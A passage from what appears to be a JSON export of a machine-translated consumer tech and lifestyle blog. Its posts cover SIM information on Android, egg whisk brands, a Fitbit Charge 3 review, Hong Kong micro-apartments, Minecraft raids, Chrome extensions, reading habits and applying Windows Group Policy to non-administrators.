three types of information - SIM, Network and Device. Under the SIM section, you can see the status of the SIM, mobile phone number, voicemail number, ICCID number (SIM number), IMSI number (international mobile subscriber identification number), service provider name. Mobile, operating code and country where the SIM card is issued.\n  In the Network section, you can find information about flight mode, mobile roaming mode (if the phone is in roaming mode you will have to pay more to make calls), type Network (HSPA, LTE, etc.), operator name, operator code and country name where the mobile network is accessed.\nHowever, you cannot view this information as a TXT or PDF file. But you can take a screenshot and upload this image to Google's cloud storage and review it as needed.\nDownload SIM Card Info\u0026nbsp; here\nHow to use Android phone control Sony TV 5 best password management apps for iOS Instructions for setting the PIN code for SIM phones ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnVopywZaOeum61wpygnWWeqrqjsdGsZKimXZa7pb7OoptmqJiku6a%2F\n","link":"/post/instructions-on-how-to-view-sim-iccid-numbers-on-android-phones/","section":"post","tags":null,"title":"Instructions on how to view SIM / ICCID numbers on Android phones"},{"body":"Egg whisk is an extremely important kitchen appliance. It is not only used to beat eggs, but some can also be used to mix flour. However, amidst the numerous brands of whiskers on the market today, it is very difficult for users to choose the right machine. This article will help you get more information to choose the right product.\n  content I. Experience in selecting egg whiskers About capacity About noise About egg whisk Bowl of egg whisk machine  II. Whisk type good? 1. Philips egg whisk 2. Bluestone egg whisk 3. Bosch egg whisk 4. Panasonic egg whisk  I. Experience in selecting egg whiskers Before choosing to buy a whisk, note some of the following:\nAbout capacity Most lines of egg whiskers have a capacity of 200 - 400W. Need to base on the need to make a reasonable selection of capacity levels:\nIf you regularly use the machine to stir a lot of ingredients, a large amount, such as used in restaurants, should choose a high capacity. As for the basic needs of the family, the 200W series is quite suitable. About noise The whisk will not cause unpleasant noise like a vacuum cleaner. However, most users still want to have products that are durable and smooth. If possible, you should try the device to know the noise before making a decision to buy or not.\nAbout egg whisk This is the part that will have the direct task of beating eggs, mixing flour. It is also the most easily damaged and rusty tool during use. The main advice for you is to choose whiskers with rod material made of stainless steel or high-grade stainless steel. At the same time, each whisk usually has at least two sticks, which are stirring sticks and kneading sticks.\nBowl of egg whisk machine The bowl material also affects the durability of the bowl. Machine with metal bowl will have higher durability than plastic bowl.\nThe capacity of the bowl also determines the price of the machine, if used for households, you should buy a machine with a capacity of about 2-3 liters. As for business, you should buy a machine with a capacity of 4 liters or more.\nComes with a machine related structure, suitable for the machine to work properly. If choosing a bowl does not match the need to replace the bowl, the machine does not guarantee stable operation and product quality.\nII. Whisk type good? 1. Philips egg whisk Philips is a famous brand from the Netherlands and is quite familiar in Vietnam. Philips whisk products have a 24-month warranty. Philips products in Vietnam include both imported products and genuine models distributed in Vietnam. Highlights in the whiskers are Philips HR1459 and HR1559 series.\n  Some reference products:\nPhilips HR1559 / 55 versatile mixer - Reference price: VND 1,299,000 Philips HR3705 portable whisk - Reference price: VND 759,000 2. Bluestone egg whisk Besides Philips, the Bluestone whisk is also a brand that many users choose. Bluestone products are quite beautiful designed, mainly made of metal to bring certainty, making the machine more durable.\nDespite being a Chinese brand, BlueStone's line of whiskers is highly rated for quality. Products also have a price in the affordable segment, which is suitable for many families.\n  Some reference products:\nBlueStone Whisk HMB-6381W - Reference price: VND 1,450,000 BlueStone Whisk HMB-6333S - Reference price: 720,000 VND 3. Bosch egg whisk Bosch is famous for many different product lines of quality. So was Bosch's egg whisk, but it was quite expensive. The lowest price range of Bosch whiskers is also much higher than other brands.\nBesides products of tools such as drilling machines, car washers . Bosch is also known as a famous brand of egg whisk in the market. However, the product line of this brand has a high price.\nBosch egg whiskers are designed to be compact, delicate and luxurious colors. Bosch products are highly appreciated thanks to their large capacity, stable operation, even with handheld models.\n  However, if used with few ingredients, the machine will produce loud annoying noise. Design used with different buttons from other brands sometimes makes it difficult for new users.\nSome reference products:\nEgg mixer and mixer Bosch MUM4600 - Reference price: VND 3,400,000 Egg whisk Bosch MFQ36400 - Reference price: VND 1,490,000 4. Panasonic egg whisk Most Panasonic whisk products have a simple and easy to use design. Regular warranty is from 6 to 12 months.\nOverall, Panasonic products are in a highly competitive segment with Philips and are cheaper than Bosch products.\nThis brand's whisk has a low capacity, so it is only suitable for beating, mixing ingredients in small quantities.\nMachine sounds when operating are commented by many people to be quite noisy and cause a lot of vibration if the usage time is long.\n  Some reference products:\nPanasonic MK-GH1WRA whisk machine - Reference price: 699,000 VND Panasonic whisk Panasonic MK-GB1WRA - Reference price: 979.000vnd In general, the Philips whisk will meet both quality and price, deserving to be present in your family kitchen. However, you can also refer to some models of Panasonic or BlueStone.\nHopefully with the above information, you will be able to choose the most suitable device to use.\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkoKefmXq4tMisop6qXZeytcPEnqVmqJieuaq80maZqKuTnXqxrc2aqqimmZh6orrDZpmlrZWowbC6xA%3D%3D\n","link":"/post/philips-bosch-panasonic-and-bluestone/","section":"post","tags":null,"title":"Philips, Bosch, Panasonic and BlueStone?"},{"body":"Fitbit Charge 3 is probably one of the company's best fitness tracking watches. It can track physical activity, check daily routines and add challenging activities.\nThe Charge 3 watch price is quite reasonable ($ 150) with the feature set almost complete. It has heart rate measurement, sleep tracking, 50m water resistance, a display large enough for phone notifications, weather monitoring. The watch can be used for about 7 days after each charge.\nFitbit Charge 3 costs about 3.6 million Although Fitbit Charge 3 is advertised as fully functional, it still lacks the following basic elements:\nNo built-in GPS (it will use the GPS system on your phone) Unable to save music and control music playback remotely There is no app store There is no watch face shop If you are looking for a daily fitness tracking watch, a notification display and a smartwatch feature, Fitbit Charge 3 is a good choice. Just like every other manufacturer when embarking on a sports watch, Fitbit also equips its watch with all the features necessary to track physical activity. This time, Charge 3 has improved heart rate sensor. However, if you decide to buy or not, Fitbit Versa is probably still more choice thanks to the collection of watch faces, apps, larger display screens and many other functions that Charge 3 does not.\nDesign: Too good for a health monitoring device The OLED touch screen of Charge 3 is larger than the previous Charge 2 version. The screen is just enough to display time, steps, heart rate on the same watch face. Users can easily look and swipe up to see physical activity data (standing time, sleep, walking, climbing stairs .), in which the swipe down is to view notifications. Fitbit's application allows separate control of notifications of individual applications.\nThe watch is also easy to wear, but not every strap is comfortable. The Charge 3 strap also uses a special exclusive connection, but it is not as difficult to use as the Fitbit Versa's strap.\nExclusive Fitbit strap Track regular physical activity If talking about regular tracking, the Charge 3 is the device that works perfectly. It collects data and shows it right on the display screen or in the Fitbit app on the phone. However, when you start practicing, setting up a watch can be quite frustrating. If you want Charge 3 to switch to the fitness tracking mode, you first have to open the Exercise app, then a series of repetitions to set up. To stop, you have to press the button on the side of the watch twice, then touch the 'finish' icon. This setting is really cumbersome and takes a lot of time when you want to start practicing.\nThe information displayed on Charge 3 During practice, the Charge 3 screen only displays three pieces of information at a time. To view more, you need to touch the screen to change the data. The bigger, longer screen will hold more details, but you can't adjust it. The Charge 3 watch lacks a remote control function, which means you won't be able to play / pause or transfer songs from your device.\nA few things to note Not many watch faces and apps are a big minus. Although Charge 3 also has a few useful apps, the joy that is on the watch's behalf is not really discouraging.\nFailure to store music on Fitbit Charge means that you have to stick to your phone when you want to practice and listen to music at the same time.\nQuick reply is only available on Android, not supported on iPhone. A new software update allows you to send instant messages from the watch, but not for long. Charge 3 can answer phones, connect to wireless headsets via Bluetooth.\nWater resistance is suitable for swimming activities. Perhaps this is the best feature on Fitbit's Charge watches.\nAgain a proprietary charger. Fitbit has never used the same charger for two different devices of the company and this is really annoying. Ideally, you should keep your watch charger as carefully as possible.\nBattery life a week longer than the Versa line. This is a pretty good battery option for a Fitbit watch.\nAdvantages\nCheap Long battery life (about 1 week for each charge) Can be worn when swimming Bigger touch screen Add many new features Suitable for both Android and iOS Defect\nLimited watch face There is no GPS Can't save music, can't control music remotely ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZp6Zqa%2BqwIycn5qql5p6dHnWmqucoF2owqrAwJujnmWWpL9utMSao62gXaK8r7XTqKmippc%3D\n","link":"/post/review-fitbit-charge-3-watch-suitable-for-health-monitoring/","section":"post","tags":null,"title":"Review Fitbit Charge 3 watch: Suitable for health monitoring"},{"body":"Hong Kong in the impression of many is a modern, prosperous city. But the reality is not so, there are still many people living in tiny rooms that are like \"coffins\" with \"exorbitant\" rents every month.\nHong Kong has a population of 7.5 million people living on an area of ​​80,290km2 of the territory. Most of the land fund in Hong Kong is used to develop commercial centers, so the price of land here is very high, always at the top of the world for decades.\n  The average housing price in Hong Kong is 19 times higher than the average annual income of a household.\nThe population increased rapidly, the price of expensive rent made many low-income workers in Hong Kong forced to accept life in the cramped, dark houses like the \"coffin\".\n  In Hong Kong, large apartments are subdivided into many small rooms, sometimes separated by wooden panels or even by wire, about 1.7m2 in size, just fit for one person who is similar to decks. coffin.\n  Renters on the same floor often share bathrooms and kitchens. And because the space is so small, the bathroom and kitchen are also put together.\n  According to the Hong Kong Community Organization Association (SoCO), more than 100,000 people in the administrative district do not have enough money to own a spacious house.\n  Most of those who live in these \"coffins\" are old, low-income workers.\n  These 'coffin' houses are just to fit into a single bed, this is both a bedroom, a living room and a working room. All activities of eating, sleeping, and resting of the members take place here.\n  Although the space is very narrow, these rental houses cost an 'exorbitant' price, about 3,000 yuan / month (equivalent to about 10 million VND).\n  Low-wage jobs, expensive prices make many people forced to accept living in micro-apartments for decades. Even older people live in iron-lined bunk beds in public houses.\n   24 photos capture magical moments in the sky, you may not believe your eyes ncG1vNJzZmismaXArq3KnmWcp51kwamxjKuYq51dqLK1ec6fZK6kpKeutLnApaNmmaCWv7W5xKerrGWZqHqttcqepZ6cXam8bq%2FOn52ipqNitq95x6iloGWbpLuo\n","link":"/post/the-rare-set-of-ultra-small-apartments-is-likened-to-coffins-in-hong-kong/","section":"post","tags":null,"title":"The rare set of ultra-small apartments is likened to 'coffins' in Hong Kong"},{"body":"Maybe one day when you log in to your Gmail account, your account has been locked. Follow these instructions to find your sovereignty.\n  In the case of being locked into a Gmail account, many people have to give up , create another account. This sometimes causes trouble, affecting the work of people who regularly use e-mail. If you are patient enough, you have to wait 1-24 hours for the account to be ' returned '. However, Google has provided a link here to help users open locked Gmail accounts.\n  This site provides ' key ' with fields (fields) for users to enter their e-mail address , password and captcha (box to enter characters, numbers shown below). The website will check, if the account is locked, it will automatically open to return ownership to the owner.\nIf you want to find out why Google locks your account, visit the Google Help page.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B4zpyioqaXYrSurcilZJqbk6TCr8CMoqpmm5ykwKaw\n","link":"/post/unlocking-gmail-account-is-closed/","section":"post","tags":null,"title":"Unlocking Gmail account is 'closed'"},{"body":"Whenever the fiber optic cable fails, the network is slowed down, and you cannot access facebook, you immediately blame the shark. So, is it true that sharks bite off, causing marine fiber optic incidents? And why do sharks like to bite cables? Let's try to find out!\nAAG marine fiber optic cable has a fifth incident in 2017 \"Bored\" prey in fresh water, crocodiles attack and eat shark meat Close up of the screen of devouring the prey of the \"ocean killer\" Why is marine fiber optic cable problematic?\nThe fact that the AAG submarine cable incident has an impact on international Internet connection is probably no stranger to Vietnamese users. Broken fiber optic cables have many different causes, such as natural conditions, people, fishing vessels and also shark sharks.\n  It is true that sharks bite off fiber optic cables. Since 1985, scientists have discovered traces of shark teeth on a cable off the Canary Islands. People once went back to the scene of a shark struggling and trying to bite the fiber optic cable under the seabed.\nAlthough sharks are not the main cause of marine fiber problems, but it is a fact that this predator is attracted to cables. Scientists have also conducted research to find out why the shark likes to bite fiber optic cables under the seabed.\nOptical fiber cable is very long so to ensure the data transmission it needs to be provided with a very high voltage. And it is this voltage that creates a magnetic field about 50Hz around the length of the cable.\n  Sharks have the ability to sense from school to hunt. Therefore, they are often confused with the magnetic field emanating from the sea optical cable that is from prey and attack. Although fiber-optic cables that are bitten by sharks may not break apart, they still create holes that make seawater come into contact with copper pipes and cable cores. The current fed to the amplifier leaks out, making it impossible to amplify the light signal and greatly affect the data transmission.\nHowever, Professor Chris Lowe, who specializes in shark research at California State University, said sharks are often biting at sea cable simply because they're curious. Sharks are like other animals like dogs and cats, when you take out a pipe or plastic object, they will want to grab it. Not because they think it is edible but just curious and playful.\n  But in fact, the rate of marine fiber cables is broken, having problems due to sharks is very low. Up to 70% of marine fiber optic breakdowns are caused by people with intentional actions to cut and steal marine optical cables or because of their clogged vessel operations and fiber optic cables.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZquYlr%2Bsv4yloKSdXam8bq7IrZxmq5WWeqStwaWc\n","link":"/post/why-do-sharks-like-to-bite-sea-cable/","section":"post","tags":null,"title":"Why do sharks like to bite sea cable?"},{"body":"\u0026nbsp;And here is a summary of 10 things you need to know about Raid in Minecraft.\n#10 Bad Omen (Bad Omen)   Raids can only be initiated if a player obtains a Bad omen effect. You will gain this effect after defeating the Raid Captain, this is the gray Pilager that usually travels with a crowd of Pilagers, he wears a large sign on his head. When killing the Raid Captain, the Bad Omen effect will immediately apply and you can use it to trigger an attack on the village. Your mission then is to fight against the attacks and protect the villagers.\nIn the Java version, Bad Omen can be stacked depending on the number of Raid Captains the player kills, up to a maximum of 5. The greater the stack effect, the more likely the attackers have suitable weapons. permission.\n#9 Activate the attack   There are essentially two ways that a player can trigger an attack. The simpler way to do this is to find a village. You just need to have yourself the Bad Omen effect and step into the center of the village, the fight will automatically be activated.\nThe second method takes a little more work, but you will have more time to prepare between attacks. First you need to find a way to get a villager out of the village, build a wall around it and give them a bed. The raid can be reactivated at that location.\n#8 How the Raid Starts   When the raid starts, some relevant parameters will appear on the screen. First, the center of the raid will be set based on the player's location when the raid is activated, an average of 64 blocks around.\nThen, a force gauge will appear at the top of the screen, showing the remaining health of the enemy. In the village, people will run up and ring the bell to warn when the bar is recharging.\n#7 Raid's Force   The appearance of mobs will depend on the difficulty, and each mob is equipped with different powers. Usually you will encounter Pillagers, Vindicators and Revagers. The Pillagers are equipped with crossbows, while the Vindicators carry iron axes. Ravager is a large bull that has a lot of health and damage. The force that appears after and is the strongest is the Witch - The Witch has the ability to throw poisons. Along with that there can be Evokers and other types of monsters that are spawned in special cases.\n#6 Waves (waves)   An attack wave will include a certain number of enemies, when you kill all the enemies of one wave, the new wave will continue. There are 3 waves of easy, 5 of medium and 7 of difficulty. A batch is usually preceded with a Pilager and components followed. And of course, the hard waves will bring stronger and more numerous mobs.\n#5 Items   The loot obtained after the battle depends on the version of Minecraft you are playing. In the Java version, players will receive a number of items dropped from mobs such as arrows and crossbows from Pilager, Vindicator's iron ax and Totum of Undying from Evoker. In the Bedrock version, the loot drops even more, appearing some items such as emeralds, spell books, iron tools and iron armor.\n#4 Villagers   While the player is fending off the attacks, the villagers will show fear and not take any action to respond. Instead, they all gather in the house in the hope that you will become their hero.\nDuring the battle, the villagers will sweat. If the player succeeds, the villagers will go out and celebrate the victory.\n#3 Ending   While there are many ways to end an attack, there are usually 2 ways. Or the player will fail the attack, all villagers in the area are dead and all beds are destroyed. The Raid – Victory message will appear and the mobs will start making celebratory noises. On the other hand, if the player succeeds and kills all the mobs, the villagers will go out and celebrate while giving the 'Hero of the Village' effect.\n#2 Hero of the village   Like Bad Omen, the Hero of the Village effect is an effect that can only be assigned when you win a Raid. With it, you will receive a bunch of gifts from the villagers. In addition, when dealing with villagers you also get a discount.\n#1 Achievements   Achievements are indispensable, this is a milestone that marks you have just completed an element of the game. Achievements include 'Felling Ill' (kills an Evoker), 'Kill the Beast' (kills a ravager), 'We're being attacked' and 'Sound the Alarm' (ringing a bell) with an assault force near the village). There is also 'Voluntary Exile' (kills an illager captain) and 'Hero of the Village' (successfully defeated an attack).\nThus, above are 10 basic characteristics of the Raid event in Minecraft. In the process of playing the game, you will draw your own experience and find other interesting things. Wish you happy gaming!\nncG1vNJzZmismaXArq3KnmWcp51kfnF506Ggp5%2BjYsawwYynnJ6cXam8brfNqK5mmZKkwrV50ZqgnWWZo3qutc2emquZlqk%3D\n","link":"/post/10-things-you-need-to-know-about-raid-in-minecraft/","section":"post","tags":null,"title":"10 things you need to know about Raid in Minecraft"},{"body":"In this article, Tipsmake will dive into the essential extensions tweaked to boost your productivity via PC in Chrome web browser.\n1. Dark Reader Dark Reader is an extension that takes care of your eyes, allowing you to use the web day and night without irritating your eyes.\n  Dark Reader inverts bright colors, making them contrast and easier to read at night. You can adjust brightness and contrast, add sepia and grayscale filters to create the combination you see right for your eyes. In addition, it allows you to change the font for a clear display to avoid eye strain.\n2. Evernote Web Clipper When browsing the Internet, you may come across interesting excerpts from articles, emails, etc. and may want to keep them. Evernote Web Clipper lets you capture text, images, emails, important articles, and anything else you want.\n  Evernote Web Clipper combines all this important information on one platform that you can access at any time. However, unlike the mobile version, on sites like Gmail, Youtube or Amazon you can customize the cuts to choose what you want and save it as a clear note.\n3. Google Translate It can be quite frustrating if you want to read something on the Internet but cannot understand the language used. Often, this becomes a barrier to the millions of things you can discover on the Internet. So install the Google Translate extension.\n  The Google Translate extension allows you to highlight specific text that you want to translate, then automatically change that text to the language of your choice. Notably, it can translate to 109 languages ​​and has no limit on highlightable text. You can also translate entire pages.\nIf you just need to translate a website in a foreign language into your native language, Google Chrome has this translation feature built in.\n4. Grammarly This is one of the best productivity related Chrome extensions, especially if you blog, do school assignments, research papers, compose emails or just make a casual social media post. . Grammarly removes all the minor mistakes to avoid embarrassing situations.\n  Grammarly checks for grammar, punctuation, and spelling errors, and offers suggestions for tone, style, word choice, and tense, making your writing personal, clear, and concise. make no mistake. The Grammarly extension is a good assistant in the writing process, helping you to communicate around the world.\n5. Pocket The internet is full of great material, such as books, articles, videos, and movies. However, these documents can be distracting when you are trying to get your work done. Pocket is specifically designed for this.\n  Give Pocket your customizable library of everything you want to see on the Internet. Whenever you are browsing the web, you can also add interesting movies, videos, books, etc. to the application. For days or weeks later, you can go back and look through them at your leisure, even without an Internet connection.\nThere is an optional daily introductory email that you can sign up for for free. You'll get daily recommendations on what to read or watch, to diversify your collection.\n6. Pushbullet The Pushbullet extension brings together your devices, friends and all you care about in a single app. It allows you to easily and quickly transfer notes, links, files, addresses, etc., from your phone to your computer and vice versa. That's not all, as you can even share all this information with your friends!\n  Your computer and phone work side-by-side - if you receive a notification from your phone, it will be displayed on your computer screen. Similarly, if you dismiss a notification on your computer screen, it will also disappear from your phone.\n7. TLDR This Have you ever read a long boring article that you just wanted to go through to extract relevant information? With the Chrome extension TLDR This, you can write very long text and shorten it to just 5 bullet points using natural language processing.\n  This extension is tailored to make it easier and less time consuming for you to gather information. Spend less time reading endless documents to find information and more time on other activities.\nncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZpuYp7yusYyer62dnqi2sLrSZquoZZmjsLOxwKycZrGfqr9uvNGom66bpJ7DqsDY\n","link":"/post/7-best-chrome-extensions-to-increase-your-productivity/","section":"post","tags":null,"title":"7 best Chrome extensions to increase your productivity"},{"body":"There are a lot of busy people on our planet, but they are also the most eager to read. Reading every day triggers creativity, helping us increase our understanding of complex issues and comprehensive intellectual development. Meanwhile, reading is also a very relaxing activity. So how do we have time to read books when we're busy all the time?\nIn recent reports, we humans are reading less and less. A 2004 study found that the average number of books read in the US each year is 12, while the average number of books per reader is only 5 books per year. If you want to \" beat \" this sad statistic, increase the number of reading books each year and have more time to read, read on to this article.\n  In the year I completed my PhD thesis, I traveled all over the world, attending seminars in every continent of the world to present my research ( except Antarctica ), I added 69 more. book into your GoodReads account. Many people wonder where I get the time to read so many books while I'm having a busy year. To help increase the number of reading books every year, I have compiled 11 best tips on reading for busy people.\n1. Borrow more books than you can read\nIf you like to borrow books from the library, borrow more than you think you can read. Having piled up books in your home - which you know will have to return - encourages you to read more than you originally planned.\nIf you like to read digital books, make sure you have downloaded a whole book of books to your reader so that there are always many choices right at your fingertips, making you anxious to read.\n2. Read several books at the same time\n  \nMany people like to read each book one by one, but others benefit from reading multiple books at once. Some books are suitable for night reading ( for example , novels ), while others, such as practical analysis, may be more appropriate to read while traveling by public transport.\nI have some books read on the small table in the room, as well as a novel and at least one non-fiction book is reading in the machine. With books about self-development, you should extend the reading for a long time to have the opportunity to follow the advice in the book.\n3. Set goals for each reading period\nIf you're not in the habit of reading a whole bunch of words at once, set a goal to read for each stage. For example, you can challenge yourself to read 50 pages before dropping the book aside, or ending the chapter before moving on to the next job. Each re-reading puts a higher goal. Reading a little more each day will help you increase the number of books you read every year compared to before.\n4. Ignore what you \"should\" read\n  \nWhether you can find inspiration in the list of the best books, read for yourself. Read for your own love and understanding. Don't put pressure on yourself to read what the world says you have to read because it won't get you anywhere. If you read at your own pleasure and pleasure, you will find yourself spending more time reading it because of the interesting book or subject.\n5. Practice reading fast\nThis trick is simple: if you want to read more books in a short time, you can train yourself to read quickly. There are different techniques for quick reading that you can train yourself. These techniques include grouping words instead of reading each word, making your eyes move faster by moving a ruler or pen on a page, or holding your breath and trying to complete a paragraph during that time. (This technique eliminates secondary pronunciation, which tends to \" hear \" the words we read in our heads).\n6. Read digital books on all mobile devices\n  \nIf you read digital books, make sure you have a reading application on mobile devices that you can read whenever you have free time. My reading machine books are synchronized with smartphones and tablets, I can read while waiting in line at the bank, when the workers clean the office, or when I take a break in the middle of the day. Having a book synced on all devices will help you read a few pages here and there throughout the day. By doing so, when you check the reader at the end of the day, you will find yourself easily reading 20 pages in small journals.\n7. Read before going to bed\nReading a novel or non-fiction or in the evening before bed is a proven relaxation method, leaving a busy day behind and preparing yourself for a good night's sleep. Like that, you can practice the habit of reading a few pages in the morning, or reading a chapter after lunch while digesting food and getting ready for an effective shift in the afternoon.\n8. Join people like you\nFinding people in the community or online is reading the same book as you. Keeping track of discussions and their opinions while reading will help you improve. Surely you don't want to be the one who missed the chapter last week?\n9. Track the reading process online\n  \nMany websites can be used to track the reading process throughout the year; My favorite site is GoodReads. An online account that outlines the books you are reading and how far to read, will help you focus on reading more. In addition, you can follow the books you want to read later and add reviews about the books you have read. Many pages also recommend other books based on books you have read and liked.\n10. Stop reading random news reports\nIf you want to spend more time reading, you'll have to cut off the time of other activities to free up time spent reading. One of the methods you can follow is to reduce the number of random articles shared on social networks you regularly read, using this time to read more in-depth analysis of the book you're reading. .\n  11. Join a reading competition\nJust like the third point, you can join the reading contest and set a goal for the number of books you will read in a given year. To really challenge yourself, set a slightly higher limit than you think you can. Setting yourself up for a specific challenge will help yourself to be responsible and promote your goals. Surely you will be surprised how much you can read in that year.\nAuthor: Eva Lantsoght\nRefer to some more articles:\nUsing 1 hour after work will determine your success It takes only 5 - 10 minutes to practice every day to improve yourself When you have a deadlock in life, the following 9 things will be the key to your direction Having fun!\nncG1vNJzZmismaXArq3KnmWcp51krrR5wGaZrqupYr2mvtKopWaZoKW5unmQamSwmamoeqOxy6iuZqyfYrWiwsRmq6KllWLBsHnRnpid\n","link":"/post/as-a-busy-person-apply-11-ways-below-to-have-time-to-read/","section":"post","tags":null,"title":"As a busy person, apply 11 ways below to have time to read"},{"body":"Singing on mobile phones has always been a Hot trend that enthusiastically responded by young people and participated in a large number of people. It is not difficult to encounter lip-syncing clips on social networks attracting thousands of likes and views of young people. So how do you also get unique lip-syncing videos for yourself?\nWith the support of lip-syncing software on the phone today, this is too simple, you don't need to be a professional singer but the only thing you need is psychic. In the following article, the network administrator will guide lip sync with Muvik - Social network integrated video application will make it easy to create many funny and funny video lipsync to share with friends.\nTop application to mix music on the phone Applications to identify songs for smartphones The application automatically finds song chords and YouTube videos How to lip sync with the Muvik app Muvik application allows you to create lip syncing videos / Audio types in many different styles, such as music, drama, dialogue, words, . At the same time, this is also a Small social network, where you can keep track of the most popular lipsync episodes, as well as videos from the people you subscribe to.\n  Singing with Muvik is very simple, it only takes less than 1 minute that you will get lip syncing videos on your phone. The steps are as follows:\nStep 1:\nTo be able to create super-lip-syncing videos with the Muvik app, you must first download and install the lip sync tool for your phone. Please select the version that matches the device via the link below.\nDownload Muvik for iOS Download Muvik for Android Step 2:\nAfter completing the above step, you start the application and access the main interface to view the videos. Above the screen are Trends , Hot and Latest items, respectively, to display the video's Hotness. As you can see below are the Video , Explore , Camera , Audio and Other tool tabs.\n  Step 3:\nNow click on the Camera or Audio button, then select a favorite song and press the dial button in the main interface to start recording the lip sync video with Muvik for yourself. All support tools such as lightening the skin, displaying lyrics, selecting frames, . will be on the screen at the start of the recording.\n  Step 4:\nCompleting lipsync video recording, in the next window you will see an upload option (you need to register an account) or save to phone memory.\nAbove is a lip sync with Muvik to help you become a \"reluctant\" singer without any effort. In addition to Muvik, you can also experience the Dubsmas lip sync application, Tik Tok application to sing along with music using Kwai on the phone to add effects, parodying the extremely hot video voice on the web today.\nBesides, if you want to become a true singer or simply want to improve your singing and satisfying your passion, now practice singing karaoke through karaoke software on your computer. or Karaoke application on your phone, too.\nWish you have an enjoyable experience!\nSee more:\nTop 20 best audio editing apps for Android How to record videos of Tik Tok through How to make money by Kwai ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddobaxedKypZxlp57BqXnMrq2iow%3D%3D\n","link":"/post/guide-to-lip-sync-with-muvik/","section":"post","tags":null,"title":"Guide to lip sync with Muvik"},{"body":"After the evaluation and exchange phase, the leader will move out of his or her safe zone, walk out of the hallway, meeting room, make decisions, interact with staff and implement the plan that has been discussed. . They are the people who say they do and both words and actions have power.\nThese \"powerful\" words are easy to remember and represent action. They are strong verbs that begin with the letter R, which will contribute to making the best leader.\nFrom now on, you can practice using them and apply them in your leadership - management process.\n1. Reward (Reward) Good leaders know how to reward employees, not only by financial incentives but also by compliments and timely recognition when employees complete tasks efficiently. There are no good leaders who do not practice the beauty of \"art\" to reward others.\n2. Recognize   Along with reward, good leaders also need to know how to recognize. They never ignore the employee's contributions or claim that they have done everything. You need to quickly identify who is the hardest working person, who has the most creative ideas and who is the best.\n3. Rebuke (Reprimand) When your team goes in the wrong direction, a good leader needs to show a definitive attitude and reorient the group. This is very important because often a bad leader only waits before deciding to change direction, they are weak when expressing their objection.\n4. Respect (Respect) You need to show respect to receive respect. This is a verb, not a vague concept. A good leader should know how to show respect to everyone in the group. If you don't show your respect clearly and proactively to your employees, no one else will do it.\n5. Re-energize (energize)   Your employees come to work with a source of energy - certain energy. Good leaders need to know how to heat up and continue to heat this energy source.\nYour employees always need freshness, inspiration to work and leaders should know how to do this without being pretentious or overly enthusiastic. You must be the one who adds heat to the burning flames.\n6. Redirect The capacity that some leaders may lack is the ability to reorient employees. It is a skill that you can learn, but it requires other actions such as awareness, encouragement, encouragement and explanation. A normal leader will redirect in a way that can make others uncomfortable dishonestly or hurried.\n7. Remember (Remember) This is a sign of a good leader. You can remember data about a project, related issues, potential customers, and most importantly, the skills and capabilities of the team members. In contrast, a \"normal\" leader will have a bad memory. They rarely pay attention to issues related to employees and even never look forward.\nA good leader is someone who can remember names and understand the strengths and weaknesses of each member of his team.\n8. Resist (Resistance)   The excellent leader is capable of resisting things like pride, nomination and other temptations. They know that leadership is mostly in action, not some \"dock\" (such as status or position in an organizational chart). With the ability to resist the attraction of financial rewards, the \"me\" and the \"whatever you know\" attitude, you will create the strongest team.\n9. Restore (Recover) This is a word that every leader should use regularly. Recently, have you helped your employees recover energy? Did he / she not have a good sales presentation or was unable to submit the report on time? Recovery is a way to rebuild employee morale. Please help them return with the highest ability to work.\n10. Redeem (Rescue life) The dictionary defines the word as \"redeeming mistakes for others\" and this is a good starting point for those who start taking on leadership roles. As a boss, you need to find a way to save your employees, even if they make mistakes or fail. You need to bring them back and restore their abilities so the whole team can continue.\nncG1vNJzZmismaXArq3KnmWcp51ktaa%2BxGaYq51dZn1uwsSrmaxlpJ2utXnSoaaupJRir6Z51KycnWWnnbKvecOenaKmmaO0bq2MoKaonF2hsqKwxKs%3D\n","link":"/post/here-are-10-verbs-that-should-be-used-when-defining-a-good-leader/","section":"post","tags":null,"title":"Here are 10 verbs that should be used when defining a good leader"},{"body":"Group Policy makes it easier to configure some settings in Windows. When changing a specific policy (depending on the computer or user configuration), it will be applied to any computer and user.\nHowever, if you want to apply some specific policies such as disk access restrictions, how to do for non-administrators? This article will show you how to apply group policy to non-system administrators.\n10 important Windows Group Policy settings need to be done immediately How to reset Local Group Policy settings on Windows 10 Install the printer using Group Policy Object Note:\nGroup policy is only available for Windows Pro and Enterprise users. If you are using Windows Home version, you cannot follow this guide. See also: How to install Group Policy Editor (GPEdit.Msc) on Windows 10 Home Edition\nThis tutorial works on Windows 10 but you can apply for Windows 7 and Windows 8. How to apply group policy to non-administrators Because the Group Policy Editor normally doesn't allow you to apply policies only to a specific user group, we need to create a group policy snap-in on the machine using MMC (Microsoft Management Console).\nStep 1 . Press the Windows + R key, type mmc and click the OK button to open the Microsoft Management Console. You can also search mmc on the Start menu.\n  Step 2 . In the Microsoft Management Console window, go to File in the top navigation bar and select the Add / Remove Snap-in option .\n  Step 3 . This will open the Add or Remove Snap-ins window. Here, you need to find the Group Policy Object Editor in the left pane, select it and click the Add button.\n  Step 4 . Now we need to select all non-admin accounts. In the Group Policy tutorial, click Browse .\n  Step 5 . Access the Users tab, select Non-Administrators from the Local Users and Groups list and click the OK button.\n  Step 6. On the screen, click the Finish button to save the changes.\n  Step 7 . You have just completed adding a snap-in with custom settings. Now we need to save this snap-in for later use if desired. To save, go to File and select the Save As option.\n  Step 8 . Go to where you want to save the snap-in, name the snap-in, make sure in the Save as type field: select Microsoft Management Console Files (* .msc) and click the Save button. In this example, we will save the MSC file in the C drive root directory.\n  Step 9 . You can now use the snap-in you just created to apply group policy settings to all users except administrators by double-clicking on the file.\n  Step 10 . This will open the snap-in inside the MMC. Like the regular Group Policy Editor, find the policy and double-click it to change the policy settings. For example, if you do not want someone who is not an administrator to access a specific drive on your system, you need to change the option to Hide these specified drives on My Computer .\n  You can follow the same steps to apply policy settings to a specific user. Instead of selecting a group, simply select a specific user in Step 5.\nI wish you all 